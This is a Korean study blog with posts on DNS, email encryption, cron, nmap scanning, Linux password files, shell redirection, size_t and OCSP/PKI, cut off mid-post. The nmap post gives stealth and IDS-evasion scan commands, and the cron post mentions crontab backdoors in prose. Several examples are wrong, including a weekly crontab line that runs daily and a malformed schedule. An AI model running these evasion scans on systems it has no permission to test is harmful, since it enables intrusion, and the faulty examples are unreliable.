defcon 님의 블로그

DNS(Domain Name Service)의 개념과 쿼리 과정

defcon — Mon, 9 Jun 2025 10:32:15 +0900

DNS(Domain Name Service)란?

DNS(Domain Name Service)는 도메인 이름을 IP주소로 변환해주는 시스템입니다. 인터넷 상에서 컴퓨터들은 서로를 IP 주소(ex. 192.0.2.1)로 식별하지만, 사람이 기억하고 사용하기는 어렵습니다. 그래서 사람이 이해하기 쉬운 도메인 이름(www.google.com)을 IP주소로 바꿔주는 역할을 합니다.

작동 방식

사용자가 브라우저에 www.example.com을 입력
컴퓨터는 DNS서버에 이 도메인의 IP 주소가 뭐야 라고 질의
DNS 서버는 해당 도메인의 IP wnthfmf ckwdktj dmdekq
그 IP 주소로 웹사이트에 접속

DNS 계층 구조

Root DNS : 가장 상위
Top-Level Domain(TLD) : .com, .net, .kr같은 도메인
Second-Level Domain : example.com에서 example qnqns
Subdomain : www.example.com에서 www 부분

DNS 쿼리 과정

1. DNS 클라이언트가 로컬 DNS Resolver에게 질의( Recursive Query)

사용자가 브라우저에 www.example.com 입력
OS 또는 애플리케이션은 로컬 DNS 리졸버(일반적으로 ISP나 회사 내부 DNS 서버)에 "이 도메인의 IP주소를 알려줘" 라고 요청
요청자가 결과를 바로 원하며, 중간 단계는 관심없음
리졸버가 모든 작업을 대신 수행함

2. 로컬 리졸버가 루트 DNS 서버에 질의(반복적 질의)

리졸버는 먼저 루트 DNS 서버에 www.example.com의 정보를 요청
루트 서버는 직접 IP주소를 주지 않고 TLD 서버(.com)의 주소를 알려줌
루트 서버는 직접 해답을 주지 않고, "이걸 처리할 수 있는 서버는 저기야" 하고 경로만 알려줌

3. 리졸버가 권한 DNS 서버에 질의 (반복적 질의)

마지막으로 권한 DNS 서버에 http://www.example.com의 IP 주소를 요청
이 서버는 실제로 A 레코드(IPv4 주소) 또는 AAAA 레코드(IPv6 주소)를 보유하고 있으며, 요청한 IP 주소를 반환

4. 리졸버가 결과를 클라이언트에 반환

로컬 리졸버는 권한 서버에서 받은 IP 주소를 클라이언트에게 전달
클라이언트는 그 IP 주소를 이용해 웹 서버에 접속

대표적인 DNS 레코드 종류

DNS 레코드는 도메인 이름과 관련된 정보를 저장하는데이터 항목입니다.

도메인이 어떤 IP 주소를 가지고 있는지 메일서버는 어디인지 별칭은 무엇인지 등 다양한 정보를 표현합니다.

레코드 타입	설명
A	도메인 -> IPv4 주소(93.184.216.34) 매핑
AAAA	도메인 -> IPv6 주소 (예: 2606:2800:220:1:248:1893:25c8:1946) 매핑
CNAME	도메인의 별칭(Alias)을 정의(예: www.example.com -> example.com)
MX	도메인에 대한 메일 서버 지정(Mail Exchange)
NS	도메인을 관리하는 권한 있는 네임서버 지정
TXT	도메인에 대한 텍스트 정보 저장(SPF, DKIM, 도메인 인증 등)
SOA	도메인 영역에 대한 권한 정보 및 관리정보(Start of Authority)
PTR	IP 주소 -> 도메인이름(역방향 조회, Reverse DNS)
SRV	서비스 위치(Service Location) 정보(SIP, XMPP 등)
CAA	SSL 인증서를 발급할 수 있는 CA(Certificate Authority) 지정

DNS 캐시

사용자가 www.example.com에 접속하면, IP 주소를 찾기 위해 DNS 질의 발생
이 결과를 일정시간 동안 캐시에 저장
동일한 도메인에 다시 접속할 경우, 캐시에 저장된 결과를 재사용하여 DNS 서버에 재질의하지 않음

캐시 저장 위치

계층	설명
브라우저 캐시	일부 웹 브라우저는 자체적으로 DNS 결과를 캐시
운영체제(OS) 캐시	로컬 DNS 리졸버가 운영체제[ 수준에서 캐싱 수행(nscd, systemd-resolved, dnsmasq 등)
로컬 DNS 서버(리졸버)	ISP나 기업 네트워크의 DNS 리졸버가 대규모 캐시 유지
중간 DNS 서버	공용 DNS(google, Cloudflare)도 캐시를 유지하여 응답속도를 높임

TTL(Time To Live)

TTL은 DNS 응답에 포함된 메타데이터로, 해당 레코드가 캐시에 얼마나 유지될지를 정의합니다.
예를 들어, A 레코드의 TTL이 3600 이라면 1시간(3600초)동안 캐시에 저장됩니다.
TTL이 지나면 캐시는 무효화되고 다시 DNS 서버에 질의합니다.

DNS 캐시의 장점

장점	설명
속도향상	반복 접속 시 훨씬 빠르게 응답
네트워크 트래픽 감소	DNS 서버와의 통신 횟수 줄어듦
가용성 향상	외부 DNS 서버 문제가 있어도 캐시가 남아있다면 정상 동작 가능

캐시의 단점 및 주의사항

단점	설명
정보 갱신 지원	도메인의 IP 주소가 바뀌어도 TTL 동안은 캐시된 값 사용 가능성 있음
DNS 스푸핑/포이즈닝 위험	캐시에 악의적인 정보가 들어가면 사용자가 잘못된 주소로 연결될 수 있음
문제해결 어려움	변경사항 적용이 즉시 반영되지 않아 디버깅 어려움 초래

운영체제별 캐시확인 및 삭제 방법(로컬 캐시)

Windows

ipconfig /displaydns      # 캐시 보기
ipconfig /flushdns        # 캐시 삭제

macOS

sudo dscacheutil -flushcache
sudo killall -HUP mDNSResponder

Linux

sudo systemd-resolve --flush-caches

이메일 보안 기법(PGP, PEM, S/MIME)

defcon — Sun, 8 Jun 2025 12:41:06 +0900

1. PGP

PGP는 대칭키 암호화와 비대칭키 암호화를 함께 사용하는 하이브리드 암호 시스템입니다.

1991년 필 짐머만(Phil Zimmermann)이 처음 갭잘한 이후 전세계적으로 널리 사용되고 있습니다.

1) 비대칭키암호화(공개키/개인키)

수신자는 공개키(Public Key)를 이메일 발신자에게 제공합니다.
발신자는 이 공개키로 이메일을 암호화합니다.
수신자는 자신만 가진 개인키(Private Key)로 이메일을 복호화합니다.

2) 대칭키 암호화

실제 메시지는 빠른 속도의 대칭키 방식으로 암호화됩니다.
이 대칭키 자체를 비대칭키로 다시 암호화하여 함께 전송합니다.

3) 디지털 서명

발신자는 메시지의 해시값을 자신의 개인키로 암호화하여 서명을 만듭니다.
수신자는 발신자의 공개키로 서명을 검증함으로써, 무결성과 인증을 확보합니다.

PGP 활용

기능	설명
암호화	이메일 내용과 첨부파일을 암호화하여, 제3자가 볼 수 없도록함
서명	디지털 서명을 통해 이메일이 위조되지 않았음을 검증
인증	공개키 기반 구조를 통해 발신자의 신원을 확인
무결성 검증	메시지가 전송 중 변조되지 않았음을 확인

키 관리 방식

PGP는 중앙 인증 기관(CA)를 사용하지 않고 사용자가 서로의 키를 직접 인증하는 웹 오브 트러스트(Web Of Trust) 방식을 사용합니다. 사용자는 자신이 신뢰하는 사람의 키를 서명해줌벼, 이를 통해 간접적인 신뢰구조를 형성합니다.

암호 알고리즘 구성

구분	용도	주요 알고리즘
대칭키 암호화	메시지 암호화	AES, CAST5, IDEA
비대칭키 암호화	세션키 암호화, 디지털 서명	RSA, DSA, ElGamal
해시 함수	서명용 해시 생성	SHA-2, SHA-1, RIPEMD-160

2. PEM

PEM은 원래 이메일을 암호화하고 서명하는 표준으로 제안되었지만 오늘날 주로 인증서, 키, 암호화 데이터를 저장하고 전송하는 형식으로 사용되고 있습니다.

텍스트 기반의 Base64 인코딩 형식을 사용합니다.

Base64 : 바이너리 데이터 -> ASCII 문자로 변환하는 인코딩 기법

-----BEGIN <LABEL>-----
(base64 encoded data)
-----END <LABEL>-----

3. S/MIME

S/MIME(Secure/Multipurpose Internet Mail Extendsions)는 이메일 메시지의 기밀성, 무결성 인증, 부인방지를 보장하는 암호화 및 디지털 서명 표준입니다.

특히 S/MIME은 PGP와 달리 X.509 인증서를 기반으로 동작하며 표준 이메일 ㅍ포맷인 MIME 위에 보안을 덧붙이는 방식 입니다.

Microsoft Outlook, Apple Mail, thunderbird 등 주요 이메일 클라이언트는 S/MIME을 기본적으로 지원하며, 기업은 내부 CA 또는 외부 CA를 통해 인증서를 배포하고 관리합니다.

이메일 MIME 구조

Content-Type: multipart/signed;
    protocol="application/pkcs7-signature";
    micalg=sha-256;
    boundary="----SignedBoundary"

------SignedBoundary
Content-Type: text/plain; charset="utf-8"

안녕하세요, 이 메일은 서명되어 있습니다.

------SignedBoundary
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExDjAMBggqhkiG9w0CBQUAMAsG...
(생략된 서명 데이터)

------SignedBoundary--

암호화된 이메일 S/MIME 구조

Content-Type: application/pkcs7-mime; smime-type=enveloped-data;
    name="smime.p7m"
Content-Transfer-Encoding: base64

MIIBOwYJKoZIhvcNAQcDoIIBLzCCA...
(암호화된 전체 메시지 - Base64 인코딩)

전체 메시지 내용이 암호화된 PKCS#7 형식
수신자는 자신의 개인키로 복호화해야 메시지를 볼 수 있음
실제 이메일 내용은 복호화 후에만 확인 가능

리눅스 작업스케줄러 cron

defcon — Sat, 7 Jun 2025 12:37:13 +0900

cron 이란?

리눅스에서 cron은 정기적인 작업을 자동으로 실행할 수 있도록 도와주는 시간 기반의 작업 스케줄러입니다.

시스템관리자나 사용자들이 백업, 로그정리, 자동업데이트 등 반복적인 작업을 자동화할 때 주로 사용합니다.

기본 개념

cron 데몬은 백그라운드에서 실행되며, 설정된 스케줄에 따라 지정된 명령어를 자동으로 실행합니다.
스케줄은 crontab 파일에 등록하며, 사용자별로 설정할 수 있습니다.

crontab 문법

crontab 파일은 다음과 같은 형식으로 작업을 등록합니다.

분 시 일 월 요일 명령어

필드	의미	허용값
분	Minute	0-59
시	Hour	0-23
일	Day of Month	1-31
월	Month	1-12
요일	Day of Week	0-7

0 3 * * * /home/user/backup.sh

매일 새벽 3시에 /home/user/backup.sh 실행

crontab 명령어

명령어	설명
crontab -e	현재 사용자용 crontab 파일 편집
crontab -l	현재 사용자용 crontab 내용 보기
crontab -r	현재 사용자용 crontab 삭제
crontab -u 사용자명 -e	특정 사용자의 crontab 수정(root만)

예제

설명	crontab 설정
매일 정오에 스크립트 실행	0 12 * * * /home/user/script.sh
매주 일요일 1시 실행	0 1 * * * /usr/bin/weekly_cleanup
매 10분마다 실행	/10 * * * /home/user/check.sh

로그 확인

cron 실행 결과는 일반적으로 메일로 발송되거나 로그파일에 저장됩니다.

로그 확인

cat /var/log/cron  # RHEL/CentOS
journalctl -u cron.service  # Debian/Ubuntu

출력 리디렉션 예시

* * * * * /home/user/script.sh >> /home/user/log.txt 2>&1

리눅스 작업스케줄러 cron이 정보보호 관점에서 중요한 이유

1. 자동화된 보안 작업 수행

보안 패치 자동화
- 정기적으로 보안 업데이트 스크림ㅂ트를 실행하여 시스템을 최신 상태로 유지 가능
  - 취약점 노출 시간 최소화
로그 백업 및 분석
- 로그파일을 주기적으로 수집, 백업 또는 정리하여 보안감사를 위한 증적 보존 가능
데이터 암호화 및 전송
- 중요한 파일을 자동 암호화하거나 외부 서버로 안전하게 전송하는 작업 자동화 기능

2. 악용될 경우 보안 위협 요소

백도어로 악용 가능
- 공격자가 crontab에 악성 명령어를 등록하면 지속적인 악성행위가 자동 실행됨
  ex. reverse shell, 정보 탈취 스크립트 등
탐지 우회
- cron은 백그라운드에서 조용히 작동하기 때문에 운영자도 눈치채기 어려움
- 타임 기반으로 실행되므로 흔적 없이 정기적으로 활동 가능
권한문제
- 루트 권한으로 실행되는 cron 작업은 시스템에 치명적인 영향을 줄 수 있음
  - 설정 실수 또는 권한 오용 시 전면적인 시스템 훼손 가능

정보보호 관점에서의 cron 관리 포인트

항목	설명
접근 제어	cron.allow / cron.deny 파일로 실행 가능한 사용자 제한
무결성 점검	crontab 파일과 실행 스크립트의 변경 여부를 정기적으로 모니터링
로그 감사	cron fㅗ그를 별도로 수집하고 분석해 이상 행동 탐지
스크립트 검증	실행되는 스크립트는 사전 검토 및 무결성 체크 필요
최소 권한 원칙 적용	가능한 한 일반 사용자 권한으로 작업 등록(root는 제한적으로 사용)ㅠ

포트스캐닝 도구 nmap 사용 방법 및 스텔스 스캔

defcon — Fri, 6 Jun 2025 14:58:00 +0900

nmap이란?

nmap은 네트워크 보안 및 관리에서 널리 사용되는 오픈소스도구로 주로 포트스캐닝, 호스트 탐지, 서비스 및 운영체제 식별, 취약점 진단 등에 사용됩니다.

강력하면서도 유연하게 구성이 가능하고 보안전문가 뿐만 아니라 시스테 ㅁ관리자도 자주 활용합니다.

nmap의 주요 기능

기능	설명
호스트 탐지( Ping Scan)	네트워크 상에 에떤 시스템이 활성화되어 있는지 확인
포트 스캔(Port Scan)	대상 시스템의 어떤 포트가 열려있는지 확인합니다.
서비스 버전 탐지(Service Version Detection)	열려있는 포트웨서 어떤 서비스가 어떤 버전으로 실행중인지 파악
운영체제 탐지(OS Detection)	대상 시스템의 OS종류와 버전을 추측
스크립트 엔진(NSE)	다양한 보안 테스트와 취약점 진단을 수행할 수 있는 스크립트 실행 기능을 제공

대표적인 nmap 사용 예시

1. 기본 포트 스캔

nmap 192.168.0.1

대상 호스트의 TCP 포트 상태를 기본적으로 확인합니다.

2. 범위 스캔

nmap 192.168.0.1-50

여러 호스트에 대해 동시에 스캔합니다.

3. 서비스 버전 탐지

nmap -sV 192.168.0.1

4. 운영체제 탐지

nmap -O 192.168.0.1

5. Nmap Scripting Engine 사용 예

nmap --script=vuln 192.168.0.1

알려진 취약점 스크립트를 이용해 간단한 취약점 진단을 수행합니다.

포트 스캔 방식의 종류

스캔 방식	설명
TCP Connect Scan(-sT)	TCP 3-way 핸드셰이크를 완료해 포트상태를 파악(탐지 쉬움)
SYN Scan(-sS)	"Half-Open" 스캔. 핸드셰이크를 완료하지 않음(스텔스 성격)
UDP Scan(-sU)	UDP 포트를 스캔(응답이 없어도 분석이 가능)
FIN, NULL, Xmas Scan	방화벽이나 IDS 우회를 위한 특수 플래그 스캔

기본 스캔 옵션

옵션	설명
-sS	SYN 스캔(Stealth scan) 빠르고 탐지가 어려움
-sT	TCP Connect 스캔 - 시스템 호출을 이용해 연결(탐지 쉬움)
-sU	UDP 스컌 - UDP 포트에 대해 스캔 수행
-sA	ACK 스캔 - 방화벽 규칙 확인용
-sN	NULL 스캔 - 플래그 없는 패킷 전송(비표준 탐지 우회)
-p	특정 포트 지정(-p 80, -p 1-1000)

탐지 및 식별 옵션

옵션	설명
-O	운영체제 탐지(OS Detection)
-sV	서비스 버전 탐지
-A	고급 탐지 : OS + 버전 + 스크립트 + traceroute 포함
-Pn	Ping 생략(비활성 호스트도 스캔 가능)
-n	DNS 조회 생략(속도 향상)
-R	강제 DNS 조회 수행
--traceroute	대상까지의 라우팅 경로 추적

Nmap 스크립트 엔진(NSE)

옵션	설명
--script=<name>	특정 NSE 스크립트 실행(ex. --script=http-title)
--script-vuln	취약점 탐지용 스크립트 모음 실행
--script-args=<args>	스크립트에 인자 전달(ex. 로그인 정보 등)

스텔스 스캔

기본 원리(TCP 3-Way Handshake)

정상적인 TCP 연결은 다음의 3단계를 거칩니다.

클라이언트 -> 서버 : SYN
서버 -> 클라이언트 : SYN-ACK
클라이언트 -> 서버 : ACK

스텔스 스캔 방식(SYN Scan)

클라이언트 -> 서버 : SYN
서버 -> 클라이언트:
- SYN-ACK -> 포트 열림 ( Open)
- RST -> 포트 닫힘( Closed)
클라이언트 -> 서버 :
- 응답없이 RST를 보내 세션을 종료(세션 완성 안함)

즉, 연결을 완전히 수립하지 않기 때문에 흔적이 덜 남고 IDS나 로그 시스템에서 정상적인 연결로 보이지 않을 수 있음

주요 스텔스 스캔 옵션

옵션	이름	설명
-sS	SYN 스캔	가장 일반적인 스텔스 스캔 방식. TCP 3-way handshake의 절반만 수행하여 포트 상태 확인 빠르고 탐지 회피 가능
-sF	FIN 스캔	TCP FIIN 플래그만 설정해 포트 상태를 확인 비정상적인 플래그 조합으로 IDS 우회
-sN	NULL 스캔	TCP 플래그 없이 전송 일부 시스템에서 포트가 열려 있으면 무응답, 닫혀있으면 RST 반환
-sX	Xmas 스캔	FIN, URG, PSH 플래그를 동시에 설정 크리스마스트리처럼 켜진 플래그, 방화벽/IDS 우회용
-sA	ACK 스캔	포트 열림 여부보다는 방화벽 설정 확인용 포트상태가 아니라 필터링 여부 판별에 사용됨

nmap -sS 192.168.0.1          # SYN 스텔스 스캔
nmap -sF 192.168.0.1          # FIN 스캔
nmap -sN 192.168.0.1          # NULL 스캔
nmap -sX 192.168.0.1          # Xmas 스캔
nmap -sA 192.168.0.1          # ACK 스캔

리눅스 /etc/passwd 파일 및 /etc/shadow 파일에 대한 개념

defcon — Tue, 3 Jun 2025 09:55:49 +0900

/etc/passwd

/etc/passwd 파일은 리눅스 및 유닉스 계열 운영체제에서 사용자 계정정보를 저장하는 텍스트파일입니다. 각 사용자의 로그인 정보를 포함하고 있으며 시스템이 로그인 요청을 처리할 때 참고합니다.

파일 형식

이 파일은 콜론으로 구분된 여러 필드로 구성되어 있다. 각 줄을 하나의 사용자 계정을 나타냅니다.

username:password:UID:GID:comment:home_directory:shell

각 필드에 대한 설명

필드	설명
username	로그인 이름(root, user1)
password	암호정보(보통 x로 표시되고, 진짜 해시값은 /etc/shadow에 저장됨)
UID	사용자 ID(숫자, root는 보통 0)
GID	기본 그룹 ID (숫자, /etc/group 파일 참조)
comment	사요자 정보(이름, 설명 등 - GECOS 필드라고도 함)
home_directory	사용자의 홈 디렉토리 경로(ex: /home/user1)
shell	로그인 시 실행되는 shell( /bin/bash, /sbin/nologin)

예시

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
user1:x:1000:1000:홍길동:/home/user1:/bin/bash

주요 사항

이 파일은 모든 사용자가 읽을 수 있다(644 권한)
password 필드는 보안을 위해 x로 대체되며, 실제 암호 해시값은 /etc/shadow에 저장됩니다.
UID가 0이면 슈퍼 유저(root) 권한을 가집니다.
UID가 1000 이상이면 일반 사용자 계정입니다.
시스템 계정(ex. daemon, bin, nobody)은 로그인하지 못하게 보통 /usr/sbin/nologin 셸을 사용합니다.
/etc/passwd 파일 자체는 암호를 포함하지 않지만 여전히 조작될 경우 심각한 보안 위협이 됩니다.
실수로 수정하지 않도록 vipw 명령어를 사용하여 안전하게 편집하여야 한다.

/etc/shadow

/etc/shadow 파일은 리눅스 및 유닉스 시스템에서 사용자 계정의 암호(비밀번호) 정보를 저장하는 보안파일입니다. 이 파일은 /etc/passwd 보다 더 민감한 정ㅂ모를 포함하므로 접근이 제한됩니다.

/etc/shadow 파일 개요

목적 : 각 사용자 계정의 암호 해시값 및 만료 정보를 저장
권한 : 보통 -rw-r-----, 소유자 root, 그룹 shadow

ls -l /etc/shadow
-rw-r----- 1 root shadow 1234 Jun  3 10:00 /etc/shadow

파일 형식

콜론으로 구분된 필드로 구성

username:password:last_change:min:max:warn:inactive:expire:reserved

필드 번호	필드명	설명
1	username	사용자 이름(ex. user1)
2	password	암호 해시값, 또는 계정 상태
3	last_change	마지막으로 비밀번호가 변경된 날짜(1970-01-01부터 경과한 일수)
4	min	비밀번호 변경 최소 일수(이전 후 최소 며칠 뒤에 변경 가능)
5	max	비밀번호 변경 최대 일수(이후 비밀번호 만료됨)
6	warn	만료 전 경고 시작일수
7	inactive	만료 후 비활성화되기까지의 유예기간
8	expire	계정 만료일(1970-01-01부터의 일수)
9	reserved	예약 필드(보통 비어 있음

예시

user1:$6$sdf9SdFj2K$1dUeJz...:19123:0:99999:7:::
daemon:*:19000:0:99999:7:::

password 필드의 포맷

$id$salt$hashed_password

구성 요소	설명
$id	사용된 해시 알고리즘을 나타내는 식별자
salt	해시 강화용 랜덤 문자열(해시값을 고유하게 만듦)
hashed_password	실제 비밀번호가 salt와 함께 해시된 값

알고리즘 식별자($id)

ID	알고리즘	설명
$1$	MD5	오래된 방식, 보안 취약
$2a$, $2b$, $2y$	Blowfish(bcrypt)	일부 시스템에서 사용
$5$	SHA-256	보안성 중간
$6$	SHA-512	리눅스에서 기본으로 권장. 보안성 높음

대부분의 현대 리눅스 배포판은 SHA-512($6$)를 기본으로 사용합니다.

$6$G7WvEtgL$XSnX0MZKmWR5fb7wgy...JELN9EPsqxv1h3ujA19nHDnI3A1

$6$ -> SHA-512 알고리즘
G7WvEtgL -> salt (8자리 이상, 시스템에 따라 다름)
XSnX0MZK... -> SHA-512 해시 결과

pwconv, pwunconv 명령어

pwconv, pwunconv는 리눅스에서 비밀번호 정보를 /etc/passwd와 /etc/shadow 사이에서 동기화하거나 변환하는데 사용되는 명령어입니다.

pwconv

/etc/passwd -> /etc/shadow로 비밀번호 정보를 이동
/etc/passwd에 저장된 암호필드를 x로 변경
/etc/shadow 파일을 생성하거나 갱신

pwunconv

/etc/shadow에 있던 암호 해시값을 /etc/passwd로 다시 이동
/etc/shadow 시스템 비활성화
Shadow password system을 비활성화

2> /dev/null 쉘 명령어의 의미

defcon — Mon, 2 Jun 2025 21:23:32 +0900

2> /dev/null은 유닉스/리눅스 쉘에서 자주 사용되는 리디렉션(Redirection) 문법입니다.

기본 개념

표준 입출력(Stream)

유닉스 계열 운영체제에서는 프로그램 실행 시 다음과 같은 3가지 기본 스트림이 자동으로 생성됩니다.

이름	번호	설명
표준 입력(stdin)	0	키보드 입력 등 사용자 입력
표준 출력(stdout)	1	프로그램이 출력하는 일반 결과
표준 오류(stderr)	2	에러 메시지 등 오류 관련 출력

기본 리디렉션 문법

출력 리디렉션( > )

echo "Hello" > output.txt

"Hello"라는 출력을 output.txt 파일에 저장(기존내용은 덮어씀)

출력 덧붙이기( >> )

echo "More text" >> output.txt

기존 output.txt에 "More text"를 추가함(덮어쓰기 X)

에러 리디렉션( 2> )

ls not_exist_file 2> error.log

에러 메시지를 error.log 파일에 저장

표준 입력 리디렉션( < )

wc -l < file.txt

file.txt 파일을 표준 입력처럼 사용해서 wc -l 명령어에 전달

2> /dev/null의 해석

2 : 표준 오류(stderr)을 의미합니다.
> : 리디렉션 연산자입니다. "어디론가 보내라"는 의미입니다.
/dev/null : 특수한 장치 파일로, 모든 데이터를 버리는 쓰레기통입니다. 여기에 쓰여진 데이터는 사라짐

즉, 2 > /dev/null의 의미는 표준 오류 스트림(에러 메시지)를 /dev/null로 보내서 버려라 입니다. 즉, 에러메시지를 화면에 출력하지 않고 없애버리는 것입니다.

활용 예시

ls not_exist_file 2> /dev/null

ls not_exist_file 은 존재하지 않는 파일을 보려고 해서 에러가 발생합니다.
2> /dev/null 덕분에 에러 메시지는 화면에 나타나지 않습니다.

확장 사용 : &>, >/dev/null 2>&1

command > /dev/null 2>&1

> /dev/null : 표준 출력(stdout)을 버림
2>&1 : 표준 오류(stderr)를 표준 출력(stdout)과 동일한 곳으로 보냄(즉, /dev/null)
결론 : 모든 출력(정상 + 에러)을 전부 버림

c언어 size_t 자료형에 대한 개념

defcon — Sun, 1 Jun 2025 12:01:38 +0900

size_t란?

size_t는 부호없는 정수형(unsigned integer type)으로 표준 라이브러리에서 메모리크기나 개수를 나타내기 위해 사용하는 타입니다.

stddef.h, stdio.h, stdlib.h, string.h 등의 다양한 헤더파일에서 사용되며, 그 정의는 다음과 같습니다.

typedef unsigned int size_t; //시스템에 따라 다름

하지만 실제 정의는 컴파일러와 시스템 아키텍처에 따라 달라지며, 32bit 시스템에서는 unsigned int, 64bit 시스템에서는 unsigned long 혹은 unsigned long long 일 수 있습니다.

주요 사용 예시 :

malloc, calloc, realloc 등의 함수에서 메모리 크기를 인자로 받을 때
sizeof 연사자의 겨로가 타입
문자열 관련 함수(strlen, memcpy, memset)에서 크기나 길이를 나타낼 때

size_t length = strlen("hello");
void* ptr = malloc(sizeof(int) * 10);

size_t를 사용했을 때의 장점

1. 플랫폼 독립성

32bit/64bit 환경에 따라ㅏ 자동으로 적절한 크기의 타입이 설정됨
크로스 플랫폼 코드를 작성할 때 유리

2. 메모리 크기 표현에 최적화

메모리 크기와 관련된 연산에서는 부호가 필요 없기 때문에 unsigned로 정의된 size_t가 적절
음수가 될 수 없는 값을 표현할 때 안전

3. 오버플로우 방지에 비교적 유리

배열 크기나 인덱스의 최대값까지 안전하게 표현 가능(signed 보다 큰 값 표현 가능)

4. 표준 라이브러리와의 일관성

malloc, strlen, sizeof 등과의 타입 호환성이 맞지 않아서 경고나 오류없이 사용 가능

size_t의 단점 및 주의점

1. 부호가 없으므로 음수 표현 불가

int 처럼 -1 같은 음수를 표현할 수 없음
예를들어, 오류를 -1로 반환하는 로직에는 사용할 수 없음

size_t result = -1 // 이 경우 result는 매우 큰 수가 됨

2. 부등호 비교시 버그 유발 가능

int와 혼합된 연산 또는 비교 시 예기치 않은 결과 발생 가능

iont a = -5;
size_t b = 10;
if(a < b) // 경고없이 참이지만, 논리적으로 이상할 수 있음

3. 디버깅 시 혼란

출력할 때 %zu를 사용해야 ㅎ마ㅕ, 잘못 출력하면 값이 이상하게 보일 수 있음

printf("%zu\n", size_var); // 올바른 방법

4. 이식성이 있으나, 직관성은 떨어짐

초보자 입장에서 unsigned int와 달리 직관적으로 이해하기 어려울 수 있음

PKI OSCP(Online Certificate Status Protocol) 개념

defcon — Sat, 31 May 2025 22:40:21 +0900

OCSP란?

Online Certificate Status Protocol은 디지털 인증서의 실시간 유효성 검증을 위한 인터넷 프로토콜입니다. 기존의 CRL(Certificate Revocation List) 방식이 가지는 단점을 보완하기 위해 만들어졌습니다.

RFC 6960에서 표준으로 정의되었으며, 주로 웹 브라우저, 메일 클라이언트, VPN 클라이언트 등에서 사용됩니다.

OCSP의 필요성

기존 방식 : CRL의 한계
- CRL은 CA에서 정기적으로 폐기된 인증서를 목록으로 배포
- 수백 KB ~ 수 MB 이상인 경우도 있어 다운로드 시간이 오래 걸림
- 폐기된 인증서 정보가 반영되기 까지 시간 지연 발생
- 네트워크 부하 및 클라이언트 자원 소비 증가
개선 방식 :OCSP의 장점
- 클라이언트는 특정 인증서의 상태만 요청
- 응답크기가 매우 작음(수백 바이트 ~ 수 KB)
- 실시간 상태 확인 가능
- 서버-클라이어트간 빠른 통신

OCSP의 작동 원리

주요 참여자
- OCSP Client : 인증서 상태를 확인하고자 하는 주체(ex. Web Browser)
- OCSP Responder : 인증서 상태 정보를 제공하는 서버(CA가 직접 운영하거나 위임)
- CA : 인증서를 발급하고 상태 정보를 OCSP Responder에 전달
요청/응답 흐름
1. 클라이언트가 받은 인증서의 상태를 확인하고자 함
2. 해당 인증서의 Authority Information Access (AIA) 확장에서 OCSP URL 확인
3. OCSP 요청 생성(인증서 일련번호 포함)
4. OCSP 서버(Responder)에 요청 전송(보통 HTTP)
5. 서버가 다음 중 하나의 응답 변환
  - good : 인증서 유효
  - revoked : 인증서 폐기됨
  - unknown : 상태 알 수 없음
6. 클라이언트는 이 정보를 기반으로 연결을 계속하거나 중단

CertID: 0x1234ABCD
Status: good
This Update: 2025-05-31 10:00:00
Next Update: 2025-05-31 12:00:00
Signature: (CA 서명)

보안강화 : OCSP Stapling

OCSP는 실시간 서버 조회가 필요하므로 다음과 같은 문제점이 발생
- OCSP 서버 장애 -> 인증 실패
- 프라이버시 이슈 : 누가 어떤 사이트에 접속했는지 추적 가능
- 지연 발생 : HTTPS 연결 성능 저하

이러한 문제를 해결하기 위하여 OCSP Stapling 기능이 도입되었다.

개념
- 웹서버가 미리 OCSP 응답을 가져와 자신의 TLS 인증서와 함께 스테이플해서 클라이어트에게 전달
- 클라이언트는 OCSP 서버에 직접 요청하지 않고도 상태 확인 가능
장점
- 빠른 연결(OCSP 서버 연결 불필요)
- 프라이버시 보호
- CA부하 감소

OCSP vs CRL 비교 정리

항목	CRL	OCSP
방식	전체 폐기 목록 다운로드	개별 인증서 상태 실시간 요청
응답속도	느림(수초 이상)	빠름(수백 ms)
데이터 크기	수백 KB 이상	수 KB 이하
실시간성	낮음	높음
프라이버시	보호됨	서버 요청 시 노출 가능 (OCSP Stapling으로 보완 가능)
사용 편의성	단순함	설명 복잡할 수 있음

실무 활용 예시

웹 브라우저 : HTTPS 접속 시 OCSP로 인증서 상태 확인
(Chrome, Firefox, Edge 등 대부분 OCSP 또는 Stapling 지원)
메일 클라이언트 : S/MIME 인증서 검증
VPN 클라이언트 : 사용자 인증서 상태 확인
서버 인증 : 인증서 폐기 되었는지 판단하여 연결 거부

자체 OCSP 서버를 구현하기 위한 구성 요소

요소	설명
CA (인증기관)	인증서와 폐기 정보(CRL 또는 상태 DB) 생성
OCSP Responder	클라이언트의 요청을 받고, 인증서 상태를 실시간으로 응답
데이터 저장소	인증서 상태(유효, 폐기 등)를 저장
키 및 인증서	OCSP 응답에 서명하기 위한 OCSP 전용 서명키와 인증서 필요

구현방식

1. OpenSSL 기반 OCSP Responder

OpenSSL에는 간단한 OCSP 서버 기능이 내장되어 있음
테스트용 또는 내부 환경에 적합

openssl ocsp \
  -port 2560 \
  -index index.txt \
  -CA ca.crt \
  -rsigner ocsp-cert.pem \
  -rkey ocsp-key.pem \
  -text

index.txt : CA에서 발급한 인증서 상태DB
ocsp-cert.pem : OCSP 응답에 사용할 인증서(CA가 발급한 OCSP 전용 인증서)

2. EJBCA

JAVA 기반의 완전한 오픈소스 PKI 서버
OCSP 기능 포함
대규모 배포 및 고급 설정 가능

3. Dogtag Certificate System

RedHat이 주도하는 PKI 솔루션
OCSP 포함

PKI(Public Key Infrastructure)에 대한 개념과 구성요소

defcon — Sat, 31 May 2025 08:48:46 +0900

PKI(Public Key Infrastructure)란?

PKI는 암호화 기술을 이용해 디지털보안을 제공하는 체계입니다.

주로 인터넷과 같은 개방된 네트워크에서 신원확인, 데이터무결성보장, 기밀성 유지, 부인방지 기능을 제공하기 위해서 사용됩니다.

비대칭키 암호화 기술을 기반으로 하며, 공개키와 개인키의 쌍을 사용하여 보안을 제공합니다.

공개키(Public Key) : 누구나 접근 가능한 키
개인키(Private Key) : 소유자만 알고 있는 비밀키

PKI는 이 키쌍을 신뢰할 수 있는 방식으로 관리하고, 디지털 인증서를 통해 공개키가 특정 사용자 또는 조직에 속해있음을 보증합니다.

PKI의 주요 구성 요소

1. CA(Certificate Authority, 인증 기관)

역할
